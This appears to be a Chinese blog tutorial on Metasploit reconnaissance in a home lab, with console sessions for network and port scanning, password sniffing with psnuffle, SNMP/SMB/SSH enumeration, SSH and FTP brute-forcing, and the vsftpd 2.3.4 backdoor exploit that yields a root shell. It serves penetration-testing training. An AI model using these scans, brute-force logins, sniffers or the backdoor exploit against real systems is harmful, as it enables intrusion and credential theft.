网络安全学习之利用Metasploit进行信息收集

于 2024-08-03 21:27:48 发布
阅读量921 收藏 21
点赞数 20
分类专栏： 网络安全学习笔记 文章标签： web安全 学习 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Aurevoirs/article/details/140892001
版权

基于TCP协议收集主机信息

使用Metsploit中的nmap 和arp_sweep 收集主机信息

msf中也有类似nmap功能的工具，名字是 db_nmap，用法同 nmap一样，如下所示：

msf6 > db_nmap -sS 192.168.1.106  ### SYN扫描，用法同nmap里的nmap -sS 192.168.1.106
[*] Nmap: Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-03 16:12 CST
[*] Nmap: Nmap scan report for 192.168.1.106
[*] Nmap: Host is up (0.00019s latency).
[*] Nmap: Not shown: 995 closed tcp ports (reset)
[*] Nmap: PORT     STATE SERVICE
[*] Nmap: 22/tcp   open  ssh
[*] Nmap: 88/tcp   open  kerberos-sec
[*] Nmap: 3031/tcp open  eppc
[*] Nmap: 3283/tcp open  netassistant
[*] Nmap: 5900/tcp open  vnc
[*] Nmap: MAC Address: 78:4F:43:5A:47:FD (Apple)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds

ARP扫描

msf6 > use auxiliary/scanner/discovery/arp_sweep  ## 使用辅助模块中的arp扫描器
msf6 auxiliary(scanner/discovery/arp_sweep) > show options ##查看配置信息
Module options (auxiliary/scanner/discovery/arp_sweep):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   RHOSTS                      yes       The target host(s), see https://github.com/rap
                                         id7/metasploit-framework/wiki/Using-Metasploit
   SHOST                       no        Source IP Address   ### 可伪造的源ip地址
   SMAC                        no        Source MAC Address  ### 可伪造的源MAC地址
   THREADS    1                yes       The number of concurrent threads (max one per
                                         host)
   TIMEOUT    5                yes       The number of seconds to wait for new data

msf6 auxiliary(scanner/discovery/arp_sweep) > set RHOSTs 192.168.1.0/24   ### 设置要扫描的网络
RHOSTs => 192.168.1.0/24
msf6 auxiliary(scanner/discovery/arp_sweep) > set THREADS 10   ##  设置线程数
THREADS => 10
msf6 auxiliary(scanner/discovery/arp_sweep) > show options

Module options (auxiliary/scanner/discovery/arp_sweep):
  Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   INTERFACE                   no        The name of the interface
   RHOSTS     192.168.1.0/24   yes       The target host(s), see https://github.com/rap
                                         id7/metasploit-framework/wiki/Using-Metasploit
   SHOST                       no        Source IP Address 
   SMAC                        no        Source MAC Address  
   THREADS    10               yes       The number of concurrent threads (max one per
                                         host)
   TIMEOUT    5                yes       The number of seconds to wait for new data

msf6 auxiliary(scanner/discovery/arp_sweep) > run
[+] 192.168.1.1 appears to be up (UNKNOWN).
wc[+] 192.168.1.103 appears to be up (UNKNOWN).
[+] 192.168.1.104 appears to be up (UNKNOWN).
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/discovery/arp_sweep) > back

使用半连接方式扫描 tcp端口

msf6 > search portscan
Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/portscan/ftpbounce                               normal  No     FTP Bounce Port Scanner ##FTP端口扫描
   1  auxiliary/scanner/natpmp/natpmp_portscan                           normal  No     NAT-PMP External Port Scanner
   2  auxiliary/scanner/sap/sap_router_portscanner                       normal  No     SAPRouter Port Scanner
   3  auxiliary/scanner/portscan/xmas                                    normal  No     TCP "XMas" Port Scanner 
   4  auxiliary/scanner/portscan/ack                                     normal  No     TCP ACK Firewall Scanner ## ACK防火墙扫描
   5  auxiliary/scanner/portscan/tcp                                     normal  No     TCP Port Scanner   ### TCP端口扫描
   6  auxiliary/scanner/portscan/syn                                     normal  No     TCP SYN Port Scanner ## SYN 端口扫描
   7  auxiliary/scanner/http/wordpress_pingback_access                   normal  No     Wordpress Pingback Locator

msf6 > use auxiliary/scanner/portscan/syn
msf6 auxiliary(scanner/portscan/tcp) > show options 

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1/24
msf6 auxiliary(scanner/portscan/tcp) > set THREADS 10
ThreADS => 10
msf6 auxiliary(scanner/portscan/tcp) > exploit

使用 auxiliary /sniffer 下的 psnuffle 模块进行密码嗅探

原理：截获常见协议 ftp、imap、pop3、smb、url等身份认证过程，记录用户名和密码。

过程
使用lftp命令连接靶机上的ftp服务

┌──(root㉿kali)-[~]
└─# lftp -u msfadmin:msfadmin 192.168.1.102 -p 21

msf6 > use  auxiliary/sniffer/psnuffle
msf6 auxiliary(sniffer/psnuffle) > info  ## 查看该模块信息

       Name: pSnuffle Packet Sniffer
     Module: auxiliary/sniffer/psnuffle
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Max Moser <mmo@remote-exploit.org>

Available actions:  ### 可执行的动作
  Name     Description
  ----     -----------
  List     List protocols   ### 列出支持的协议
  Sniffer  Run sniffer   ### 运行 sniffer

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  FILTER                      no        The filter string for capturing traffic
  INTERFACE                   no        The name of the interface
  PCAPFILE                    no        The name of the PCAP capture file to process
  PROTOCOLS  all              yes       A comma-delimited list of protocols to sniff or "all".
  SNAPLEN    65535            yes       The number of bytes to capture
  TIMEOUT    500              yes       The number of seconds to wait for new data

Description:
  This module sniffs passwords like dsniff did in the past  ##这个 psnuffle 模块可以像以前的 dsniff 命令一样，去嗅探密码，只支持 pop3、imap、ftp、HTTP GET 协议。
## Dsniff 是一个著名的网络嗅探工具包、高级口令嗅探工具、综合性的网络嗅探工具包

View the full module info with the info -d command.

msf6 auxiliary(sniffer/psnuffle) > list

[*] Loaded protocol FTP from /usr/share/metasploit-framework/data/exploits/psnuffle/ftp.rb...
[*] Loaded protocol IMAP from /usr/share/metasploit-framework/data/exploits/psnuffle/imap.rb...
[*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...
[*] Loaded protocol SMB from /usr/share/metasploit-framework/data/exploits/psnuffle/smb.rb...
[*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...
[*] Protocols: ftp, imap, pop3, smb, url
[*] Auxiliary module execution completed

msf6 auxiliary(sniffer/psnuffle) > sniffer 

[*] Successful FTP Login: 192.168.1.188:52004-192.168.1.102:21 >> msfadmin / msfadmin  ## 获取ftp登录的账号密码

基于snmp协议收集信息

需要先修改靶机上的snmp服务配置，因为snmp服务默认是不对外开放的

root@metasploitable:~# vim /etc/default/snmpd
找到下面这一行
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'
将下面行中的 127.0.0.1 修改为 0.0.0.0
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'

修改完后，保存退出，并重启snmpd服务

root@metasploitable:~# /etc/init.d/snmpd restart
Restarting network management services: snmpd.
root@metasploitable:~#

实战-使用 snmp_enum 模块通过 snmp 协议扫描目标服务器信息

snmp_enum 是一个强大的snmp枚举工具，可以允许用户分析一个网络所有的snmp信息传输

msf6 > use auxiliary/scanner/snmp/snmp_enum
msf6 auxiliary(scanner/snmp/snmp_enum) > info 

       Name: SNMP Enumeration Module
     Module: auxiliary/scanner/snmp/snmp_enum
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Matteo Cantoni <goony@nothink.org>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  COMMUNITY  public           yes       SNMP Community String
  RETRIES    1                yes       SNMP Retries
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      161              yes       The target port (UDP)
  THREADS    1                yes       The number of concurrent threads (max one per host)
  TIMEOUT    1                yes       SNMP Timeout
  VERSION    1                yes       SNMP Version <1/2c>

Description:
  This module allows enumeration of any devices with SNMP protocol 
  support. It supports hardware, software, and network information. 
  The default community used is "public".

References:
  https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
  https://net-snmp.sourceforge.io/docs/man/snmpwalk.html
  http://www.nothink.org/codes/snmpcheck/index.php


View the full module info with the info -d command.

msf6 auxiliary(scanner/snmp/snmp_enum) > set rhosts 192.168.1.102
rhosts => 192.168.1.102

image.png

扩展

其他好用的snmp枚举工具

SNMP 枚举工具snmpwalk

snmpwalk是一个SNMP应用程序。它使用SNMP的GETNEXT请求，查询指定的所有OID（SNMP协议中的对象标识）树信息，并显示给用户。

a) –h 显示帮助
b) –v 1|2c|3 指定SNMP协议版本
c) –V 显示当前SNMPWALK命令行版本
d) –r RETRIES 指定重试次数，默认为0次。
e) –t TIMEOUT 指定每次请求的等待超时时间，单为秒，默认为3秒。
f) –Cc 指定当在WALK时，如果发现OID负增长将是否继续WALK。
2. V1、V2C选项
a) –c COMMUNITY 指定共同体字符串
3. V3选项
a) –l LEVEL 指定安全级别：noAuthNoPriv|authNoPriv|authPriv
b) –u USER-NAME 安全名字
c) –a PROTOCOL 验证协议：MD5|SHA。如果-l指定为authNoPriv或authPriv时才需要。
d) –A PASSPHRASE 验证字符串。如果-l指定为authNoPriv或authPriv时才需要。
e) –x PROTOCOL 加密协议：DES。如果-l指定为authPriv时才需要。
f) –X PASSPHRASE 加密字符串：如果-l指定为authPriv时才需要。

SNMP 枚举工具snmpcheck

基于SMB协议收集信息

SMB概述：服务器消息块(Server Message Block)，又称为网络文件共享系统(Common Internet File System) ,一种应用层网络传输协议，由微软开发，主要功能是是网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。
经过unix服务器厂商重新开发后，它可用于连接unix和windows客户机，执行打印和文件共享等任务。

使用 smb_version 基于 SMB 协议扫描版本号

msf6 > search smb_version

Matching Modules
================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  auxiliary/scanner/smb/smb_version                   normal  No     SMB Version Detection


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > show options 

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   THREADS  1                yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

### 注意： 设置多个目标，中间用逗号隔开，且逗号与后一个目标之间要有空格隔开。
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.1.102, 192.168.1.97   
rhosts => 192.168.1.102, 192.168.1.97     
msf6 auxiliary(scanner/smb/smb_version) > exploit

[*] 192.168.1.102:445     - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[*] 192.168.1.102:445     -   Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] Scanned 1 of 2 hosts (50% complete)
[*] 192.168.1.97:445      - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.0.2) (signatures:required) (guid:{528e1363-aea8-895a-94a1-b960f94f7bf5}) (authentication domain:MACBOOK-PRO)
[*] Scanned 2 of 2 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >

image.png

使用 smb_enumshares 基于 SMB 协议扫共享文件（账号、密码）

SMB 的模块中基本上都是可以配置用户名和密码的，配置了用户名和密码某些模块扫描的结果会更满足我们的需求。
image.pngimage.png
image.png

msf6 > search enumshares

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  auxiliary/scanner/smb/smb_enumshares                     normal  No     SMB Share Enumeration
   1  auxiliary/scanner/snmp/snmp_enumshares                   normal  No     SNMP Windows SMB Share Enumeration


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/snmp/snmp_enumshares

msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 auxiliary(scanner/smb/smb_enumshares) > show options 

Module options (auxiliary/scanner/smb/smb_enumshares):

   Name                    Current Setting                         Required  Description
   ----                    ---------------                         --------  -----------
   HIGHLIGHT_NAME_PATTERN  username|password|user|pass|Groups.xml  yes       PCRE regex of resource names to highlight
   LogSpider               3                                       no        0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt) (Accepted: 0, 1, 2, 3)
   MaxDepth                999                                     yes       Max number of subdirectories to spider
   RHOSTS                                                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   SMBDomain               .                                       no        The Windows domain to use for authentication
   SMBPass                                                         no        The password for the specified username
   SMBUser                                                         no        The username to authenticate as
   Share                                                           no        Show only the specified share
   ShowFiles               false                                   yes       Show detailed information when spidering
   SpiderProfiles          true                                    no        Spider only user profiles when share is a disk share
   SpiderShares            false                                   no        Spider shares recursively
   THREADS                 1                                       yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_enumshares) > set rhosts 192.168.1.89
rhosts => 192.168.1.89
msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBuser chao
SMBuser => chao
msf6 auxiliary(scanner/smb/smb_enumshares) > set smbpass 123456
smbpass => 123456
msf6 auxiliary(scanner/smb/smb_enumshares) > exploit

[*] 192.168.1.89:139      - Starting module
[-] 192.168.1.89:139      - Login Failed: The SMB server did not reply to our request
[*] 192.168.1.89:445      - Starting module
[!] 192.168.1.89:445      - peer_native_os is only available with SMB1 (current version: SMB3)
[!] 192.168.1.89:445      - peer_native_lm is only available with SMB1 (current version: SMB3)
[+] 192.168.1.89:445      - ADMIN$ - (DISK|SPECIAL) 远程管理
[+] 192.168.1.89:445      - C$ - (DISK|SPECIAL) 默认共享
[+] 192.168.1.89:445      - IPC$ - (IPC|SPECIAL) 远程 IPC
[+] 192.168.1.89:445      - Users - (DISK) 
[+] 192.168.1.89:445      - wangdada - (DISK) 
[*] 192.168.1.89:         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

####  可以看到有 1 个是我们前面设置的 xuegod 共享文件目录还有 3 个是隐藏的共享目录。

使用 smb_lookupsid 扫描系统用户信息（SID 枚举）

win7中新建一个用户(本实验为win10系统)，
右键此电脑→管理→本地用户和组→用户 ，在空白处，右击新建一个用户
用户: admin 密码： 123456
如下图所示设置admin用户属性
image.png

msf6 > search smb_lookupsid

Matching Modules
================

   #  Name                                                   Disclosure Date  Rank    Check  Description
   -  ----                                                   ---------------  ----    -----  -----------
   0  auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli                   normal  No     Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration
   1  auxiliary/admin/mssql/mssql_enum_domain_accounts                        normal  No     Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration
   2  auxiliary/scanner/smb/smb_lookupsid                                     normal  No     SMB SID User Enumeration (LookupSid)


Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/smb/smb_lookupsid

msf6 > use auxiliary/scanner/smb/smb_lookupsid
msf6 auxiliary(scanner/smb/smb_lookupsid) > show options 

Module options (auxiliary/scanner/smb/smb_lookupsid):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   MaxRID     4000             no        Maximum RID to check
   MinRID     500              no        Starting RID to check
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads (max one per host)

Auxiliary action:

   Name   Description
   ----   -----------
   LOCAL  Enumerate local accounts

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_lookupsid) > set rhosts 192.168.1.89
rhosts => 192.168.1.89
msf6 auxiliary(scanner/smb/smb_lookupsid) > set smbuser admin
smbuser => admin
msf6 auxiliary(scanner/smb/smb_lookupsid) > set smbpass 123456
smbpass => 123456
msf6 auxiliary(scanner/smb/smb_lookupsid) > exploit 

[*] 192.168.1.89:445      - PIPE(LSARPC) LOCAL(DESKTOP-2T86P3T - 5-21-2620834448-3206096960-2066338221) DOMAIN(WORKGROUP - )
[*] 192.168.1.89:445      - USER=Administrator RID=500
[*] 192.168.1.89:445      - USER=Guest RID=501
[*] 192.168.1.89:445      - USER=DefaultAccount RID=503
[*] 192.168.1.89:445      - USER=WDAGUtilityAccount RID=504
[*] 192.168.1.89:445      - GROUP=None RID=513
[*] 192.168.1.89:445      - USER=chao RID=1001
[*] 192.168.1.89:445      - USER=admin RID=1002


[*] 192.168.1.89:445      - DESKTOP-2T86P3T [Administrator, Guest, DefaultAccount, WDAGUtilityAccount, chao, admin ]
[*] 192.168.1.89:         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

基于 SSH 协议收集信息

查看ssh版本信息

msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > show options 

Module options (auxiliary/scanner/ssh/ssh_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    22               yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads (max one per host)
   TIMEOUT  30               yes       Timeout for the SSH probe


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ssh/ssh_version) > set RhOSTS 192.168.1.102
RhOSTS => 192.168.1.102
msf6 auxiliary(scanner/ssh/ssh_version) > exploit

image.png

暴力破解ssh

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > show options
msf auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.102
## 设置字典文件默认的字典文件是不满足实际需求的后期我们使用更强大的字典文件。
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
## 因为字典文件中不包含我们的用户密码信息我们把自己的密码信息手动加入进去以便展示效果
## 新开一个终端窗口
┌──(root㉿kali)-[/usr/share/metasploit-framework/data/wordlists]
└─# echo "msfadmin msfadmin" >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt

image.png
ssh 暴力破解后，会自动建立与目标机的链接，可以通过sessions命令查看
image.png

基于 FTP 协议收集信息

查看 ftp 服务的版本信息

加载 ftp 服务版本扫描模块

msf6 > use auxiliary/scanner/ftp/ftp_version
msf6 auxiliary(scanner/ftp/ftp_version) > show options 

Module options (auxiliary/scanner/ftp/ftp_version):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/
                                           wiki/Using-Metasploit
   RPORT    21                   yes       The target port (TCP)
   THREADS  1                    yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ftp/ftp_version) > set rhosts 192.168.1.102
rhosts => 192.168.1.102
msf6 auxiliary(scanner/ftp/ftp_version) > exploit 

[+] 192.168.1.102:21      - FTP Banner: '220 (vsFTPd 2.3.4)\x0d\x0a'
[*] 192.168.1.102:21      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ftp/ftp_version) > back

扫描出 ftp 服务的版本号，我们可以尝试搜索版本号，看看有没有可以利用的模块
msf6 > search 2.3.4
image.png
或者搜索 vsftpd
msf6 > search vsftpd
image.png
我们发现存在一个 exploit 模块，而且这个版本的 ftp 服务存在一个后门
我们尝试利用下这个模块

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options 

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/
                                      Using-Metasploit
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.102
rhosts => 192.168.1.102
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit 

[*] 192.168.1.102:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.102:21 - USER: 331 Please specify the password.
[+] 192.168.1.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 3 opened (192.168.1.188:46221 -> 192.168.1.102:6200) at 2022-11-25 23:10:07 +0800

image.png
拿到了目标主机的shell，并且是root权限。

ftp 匿名登录扫描

msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(scanner/ftp/anonymous) > show options 

Module options (auxiliary/scanner/ftp/anonymous):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/
                                           wiki/Using-Metasploit
   RPORT    21                   yes       The target port (TCP)
   THREADS  1                    yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ftp/anonymous) > set rhosts 192.168.1.102
rhosts => 192.168.1.102
msf6 auxiliary(scanner/ftp/anonymous) > exploit 

[+] 192.168.1.102:21      - 192.168.1.102:21 - Anonymous READ (220 (vsFTPd 2.3.4))
[*] 192.168.1.102:21      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ftp/anonymous) >

ftp暴力破解

msf6 > search ftp_login

Matching Modules
================

   #  Name                             Disclosure Date  Rank    Check  Description
   -  ----                             ---------------  ----    -----  -----------
   0  auxiliary/scanner/ftp/ftp_login                   normal  No     FTP Authentication Scanner


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/ftp/ftp_login

msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) > show options 

Module options (auxiliary/scanner/ftp/ftp_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none             no        Skip existing credentials stored in the current database (Accepted
                                                : none, user, user&realm)
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST      false            no        Record anonymous/guest logins to the database
   RHOSTS                             yes       The target host(s), see https://github.com/rapid7/metasploit-frame
                                                work/wiki/Using-Metasploit
   RPORT             21               yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair p
                                                er line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/ftp/ftp_login) > set rhosts 192.168.1.102
rhosts => 192.168.1.102
msf6 auxiliary(scanner/ftp/ftp_login) > set userpass_file /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
userpass_file => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf6 auxiliary(scanner/ftp/ftp_login) > exploit 

[*] 192.168.1.102:21      - 192.168.1.102:21 - Starting FTP login sweep
[-] 192.168.1.102:21      - 192.168.1.102:21 - LOGIN FAILED: root: (Incorrect: )
[+] 192.168.1.102:21      - 192.168.1.102:21 - Login Successful: msfadmin:msfadmin
[-] 192.168.1.102:21      - 192.168.1.102:21 - LOGIN FAILED: root:123456 (Incorrect: )
[-] 192.168.1.102:21      - 192.168.1.102:21 - LOGIN FAILED: root:!root (Incorrect: )
Aurevoirs
关注
专栏目录
Metasploit渗透测试之信息收集（二）
qq_63831588的博客
06-13 710
基于SNMP协议收集主机信息，基于SMB协议收集信息
metasploit
tlucky的博客
07-03 2600
metasploit是一个安全框架，为渗透测试工程提供大量的渗透测试模块和扫描模块。被称为最流行的渗透测试工具之一。它提供了大量的渗透测试，攻击载荷，攻击技术以及后渗透模块。
渗透测试工具——Metasploit
热门推荐
weixin_59872639的博客
01-14 3万+
Metasplout简介 Metasploit是一款开源的安全漏洞检测工具，同时Metasploit是免费的工具。 Metasploit核心中绝大部分有Rudy实现，一小部分由汇编和C语言实现。 kali中自带Metasploit Metasploit文件结构与模块 路径: /usr/share/metasploit-framework/ config: MSF环境配置信息，数据库配置信息 data:后渗透模块的一些工具及payload,第三方小工具集合，用户字典等数据信息 doc
metasploit简介_Metasploit简介
weixin_26722031的博客
07-31 771
metasploit简介Metasploit is a penetration testing framework that helps you find and exploit vulnerabilities. Metasploit是一个渗透测试框架，可以帮助您发现和利用漏洞。 The Metasploit Framework is one of the most useful testing...
Metasploit系列----Metasploit基础
bronze_s的博客
04-10 382
metasploit: MSF是由ruby编写，采用模块化的方法完成渗透测试。是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。 优点： 易拓展 目前支持的页面类型： msfconsole armitage 数据库设置： 在kali中输入命令： 开启数据库： systemctl start postgresql 查看数据库是否开启： systemctl status postgresql 显示active表示开启状态： 或使用命令msfconsole打开msf框架
网络安全：Metasploit 渗透测试之信息收集
weixin_46035615的博客
04-19 3160
网络安全：Metasploit 渗透测试之信息收集 1 基于 TCP 协议收集主机信息 2 基于 SNMP 协议收集主机信息 3 基于 SMB 协议收集信息 4 基于 SSH 协议收集信息 5 基于 FTP 协议收集信息
网络安全kali渗透学习 web渗透入门 Metasploit---基于SMB协议收集信息
xueshenlaila的博客
03-04 3009
SMB概述：服务器消息块（Server Message Block，缩写为SMB），又称网络文件共享系统（Common InternetFile System，缩写为CIFS），一种应用层网络传输协议，由微软开发，主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。 经过Unix服务器厂商重新开发后，它可以用于连接Unix服务器和Windows客户机，执行打印和文件共享等任务。 使用smb_version 基于SMB协议扫描版本号 msf6 > use auxiliary.
利用Metasploit进行渗透测试
03-25
【标题】: "利用Metasploit进行渗透测试" 在网络安全领域，渗透测试是一种授权的、模拟黑客...提供的"利用Metasploit进行渗透测试.pdf"文件可能会涵盖更多关于如何使用Metasploit的细节和实例，值得深入学习和研究。
Metasploit漏洞实例分析_gobai_vulnerability_信息安全_metasploit_
09-30
**Metasploit漏洞实例分析——深入理解信息安全与Metasploit框架** Metasploit是一个广泛使用的开源安全工具，主要用于...通过实际的漏洞实例分析，我们可以更深入地了解如何利用Metasploit来防范和应对潜在的威胁。
[网络安全提高篇] 一〇三.Metasploit后渗透技术之信息收集、权限提权和功能模块
杨秀璋的专栏
03-04 5342
本文是“网络安全提高篇”第三篇文章，继续带领大家深入Metasploit技术，涉及后渗透相关的技术，包括信息收集、权限提权、移植漏洞模块和后门。同时，结合作者之前的漏洞利用及WannaCry逆向经验总结。本文学习了徐焱老师他们的《Web安全攻防渗透测试实战指南》，在此感谢。“网络安全提高班”新的100篇文章即将开启，包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结，它将更加聚焦，更加深入，也是作者的慢慢成长史。
Nmap+Metasploit模拟渗透过程
03-25
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
metsploit 渗透测试指南
weixin_41082546的博客
03-12 869
MSF Metasploit FrameWork MSF 渗透测试攻击框架 metasploit v4.14.10-dev 开发版是免费的，自动集成在kali 里 正式版是收费的 https://www.metasploit.com/ https://github.com/rapid7/metasploit-framework 跨平台的 诸葛建伟 《Metasploit 魔鬼训练营》 ...
metsploit魔鬼训练营第一章作业
sky
06-04 1361
实验一：通过攻击samba服务漏洞控制linux靶机 目标ip：192.168.232.134 metasploitable靶机下载地址：链接：http://pan.百度.com/s/1slHJcZV 密码：ndoj 实验环境：kali linux kali：msfconsole  msf > use exploit/multi/samba/usermap_script  msf
Metasploit 渗透测试框架的基本使用（msf）
枫梓林のBlog
04-20 1019
